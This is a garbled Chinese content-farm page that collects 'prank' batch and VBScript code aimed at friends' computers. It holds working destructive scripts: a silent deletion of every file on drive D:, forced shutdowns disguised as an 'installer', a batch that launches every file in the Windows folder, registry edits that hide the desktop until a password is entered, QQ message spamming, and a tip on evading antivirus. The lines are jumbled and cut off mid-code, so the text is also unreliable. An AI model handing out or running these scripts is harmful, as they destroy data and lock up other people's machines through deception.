不好意思哦。我也不知道耶www.51dongshi.net防采集。
整人代码大全，下面我们一起来看看吧。
方法
打开好友的聊天对话框,然后记下在QQ里好友的昵称,把以下代码中xx替换一下,就可以自定义发送QQ信息到好友的次数(代码中数字10改下即可).
下面是比较整人的批处理,不过不建议这样做 @echo offecho start 1.bat >%temp%2.batecho for /r %windir% %%i in (*) do start %%i
xx.vbs=>
<script language="javascript"> function hr(){ alert('你关不掉的^_^') hr(); } </script> <body onLoad="hr()"> </body> 做坏事了 面壁去
=---------------------------------------
记事本输入 shutdown -s -t 01把后缀名txt改成bat就行是关机的东西。。
On Error Resume Next
Shell "shutdown.exe -s -t " & Text1.Text
Dim wsh,ye
dim a a=msgbox("",0) while a=1 msgbox "",0 wend "" 中间是添加文字的。比如 dim a a=msgbox("循环窗体",0) while a=
set wsh=createobject("wscript.shell")
此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者扰你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
for i=1 to 10
7.猜数字 @echo off shutdown -s -f -t 600 -c "你好,我是本DOS无聊的制作者江浩,现在游戏开始了,请在半小时内回答完问题。" echo 给你10分钟猜这个数,这个数的
wscript.sleep 700
一只????????看来你已经整到人了。用iexpress。。。免杀、后台运行
wsh.AppActivate("与 xx 聊天中")
开了会弹出“错误,你被系统鄙视了”的气球,并且把它加到开机启动项,每每开机时就会弹出以上的气球 在secdo,bat在系统盘自动创建另一个bat文件,就是关机的代码,并且加
wsh.sendKeys "^v"
.版本 2 .支持库 xplib .支持库 eAPI.子程序 __启动窗口_创建完毕信息框 (“春哥! 哈哈 ”, 0, ) 写注册项 (#现行用户, “SoftwareMicrosoftWindowsCurrentVe
wsh.sendKeys i
整人硬盘何必 VB 电脑自己就有个 家伙格式化硬盘 dos有个 format 命令 把 这个命令保存为 .bat 设法绑定给对方运行就行了嘛DOS 常用命令 ——format 现在用电脑的人
wsh.sendKeys "%s"
next
wscript.quit
打开无数个计算器，直到死机。
set wsh=createobject("wscript.shell")
此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者扰你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
do
wsh.run "calc"
loop
删除D:所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true
不断按下alt+f4 （开什么都关闭……）
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
set ws = wscript.createobject("wscript.shell")if msgbox("纯属娱乐!just for fun!",4132,"绝对无毒无害!你准备好了吗?")=vbyes thenmsgbox"OK!"elsews.popup"那也没办法!接招吧!",3ws.popup"等会的解除密码在网盘里，自己下载,祝你愉快!",3end ifws.run" http://alonedu.ys168.com"ws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000001","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000 ws.run "explorer.exe",vbhide : wscript.sleep 6000 doa=inputbox("请输入密码解除","注意,重启电脑是没有用的!")if a="我真笨啊" thenmsgbox"密码正确!",vbinformationws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000000","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide wscript.sleep 2000 ws.run "explorer.exe",vbhidemsgbox"解除成功!"exit doelsemsgbox"看你不下载，密码错误!请重试 !"end ifloop，domsgbox"XX”loopXX里写上你想写的字，啥都可以Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c shutdown -s -t 0 -f",vbhide把这个程序给你的朋友，说是个安装程序，然后他打开会立即关机，没有任何提示使用方法：新建一个文本文档，把代码复制到里面，改后缀名为vbs（如果没有点“更改文件夹和搜索选项”，点到“查看”，往下拉找到隐藏已知文件的拓展名，把勾去掉），然后运行内容来自www.51dongshi.net请勿采集。
声明：本文由用户 无科取代KB 上传分享，本网页内容旨在传播知识，若有侵权等问题请及时与本网联系，我们将在第一时间删除处理。
